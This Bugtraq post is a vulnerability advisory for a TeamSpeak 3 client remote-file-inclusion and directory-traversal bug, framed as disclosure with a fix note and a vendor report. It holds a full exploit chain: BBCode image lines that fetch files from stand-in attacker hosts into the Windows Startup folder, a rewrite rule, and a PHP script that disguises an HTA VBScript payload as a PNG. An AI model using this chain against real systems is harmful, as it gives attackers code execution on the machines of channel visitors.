bugtraq - Re: TeamSpeak Client <= 3.0.18.1 RFI, Directory Traversal to RCE

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Message-Id: <201510221559.t9MFx0wf026929@sf01web2.securityfocus.com>
Date: Thu, 22 Oct 2015 15:59:00 GMT
From: scurippio@...istici.org
To: bugtraq@...urityfocus.com
Subject: Re: TeamSpeak Client <= 3.0.18.1 RFI, Directory Traversal to RCE

Encoding correction :


Exploit Title: "PwnSpeak" a 0day Exploit for TeamSpeak Client <= 3.0.18.1 RFI to RCE
Date: 12/10/2015
Author: Scurippio <scurippio@...he.no> / (0x6FB30B11 my pgp keyid) 
Vendor Homepage: https://www.teamspeak.com/ 
Application:  TeamSpeak 3
Version:  TeamSpeak3 Client 3.0.0 - 3.0.18.1
Platforms:  Windows, Mac OS X and Linux
Exploitation: Remote
Risk : Very High

=========
The Bug
=========

The bug is a simple but Critical RFI(Remote File Inclusion), and in my test case on "Windows" you can reach remote code execution. 
By changing the channel description you can insert a [img] bb tag with malicious content.

There are a few problems with the image caching on disk.

1: There is no check on file extension.

2: There is no file renaming, and you can fake the extension so you can create in the cache a malicious executable file like hta, scr, msi, pif, vbs etc. 

	Example:

	[img] http://yourevilhost.com/thefile.hta [/img]
	[img] http://yourevilhost.com/thefile.msi [/img]
	[img] http://yourevilhost.com/thefile.vbs [/img]
	...

3: Teamspeak 3 Client saves the image and recreates the same directory structure as the server where it's hosted.

	Example:

	C:\Users\YourUser\AppData\Roaming\TS3Client\cache\remote\yourevilhost.com\thefile.hta
	C:\Users\YourUser\AppData\Roaming\TS3Client\cache\remote\yourevilhost.com\thefile.msi
	C:\Users\YourUser\AppData\Roaming\TS3Client\cache\remote\yourevilhost.com\thefile.vbs
	...

4: It is possible to do a Directory Traversal with a simple urlencode of the traversal path bypassing the built-in control.
This is the critical hole, if you combine the previous vulnerabilities you can save a malicious file in any path on the OS with the same permissions as Teamspeak client.

	Example:

	[img]http://evildomain.com/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cDesktop%5cOwnedByNonnOreste.hta[/img]

If you set this bbcode on a channel description every user that sees it will download a file named "OwnedByNonnOreste.hta" on their Desktop with 0byte, you can also put images or other file extension!

The built-in image fetcher in the Teamspeak client checks the content type and the file header to check if the response is a real image, but you can easily bypass this control and put your exploit payload.

==========================================
Bypass / Vector / Payload
==========================================
To bypass the control and put arbitrary data in your malicious file you only need a web server and you can easily set the Rewrite rule for the Exploitation.

	Example:
	
	RewriteEngine On
	RewriteCond %{REQUEST_URI} !/faker.php
	RewriteRule .* /faker.php

Then you need to write a simple php script to fake the payload as a png by sending the right content type and file header.

	Example:
	
	<?php
	header ('Content-type: image/png');
	echo "\211PNG\r\n\032\n";
	?>
	<html>
	<head>
	<title>PWN3D</title>
	<HTA:APPLICATION
	  APPLICATIONNAME="OwnedByScurippio"
	  ID="SnappySnappySna"
	  VERSION="1.0"/>

	<script language="VBScript">
		
	   Sub RunProgram
			Set objShell = CreateObject("Wscript.Shell")
			objShell.Run "calc.exe"
		End Sub
		RunProgram
	</script>
	</head>
	</html>

If you save the file in the windows startup directory you can achieve a remote code execution.

	Example:

	[img]http://example.com/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cRoaming%5cMicrosoft%5cWindows%5cStart%20Menu%5cPrograms%5cStartup%5cWelcomeAndOwnedByNonnOreste.hta[/img]
	[img]http://example.com/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cRoaming%5cMicrosoft%5cWindows%5cStart%20Menu%5cPrograms%5cStartup%5cWelcomeAndOwnedByNonnOreste.hta[/img]

The HTA file is a prefect vector for this exploit, you can execute trusted vb script (shell command or anything else) and the png header doesn't compromise the markup language syntax.
At the next OS boot the victim will execute the malicious HTA file.

=======
Fix 
=======

Update to beta channel or wait the 3.0.18.2 hotfix for this exploit!

======
Info 
======

10/20/2015 - I have reported this Vulnerability to Teamspeak developers team  

********* - Release the public exploit


Copyright (c) 2015 Scurippio

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without mine express
written consent. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically,
please email me for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.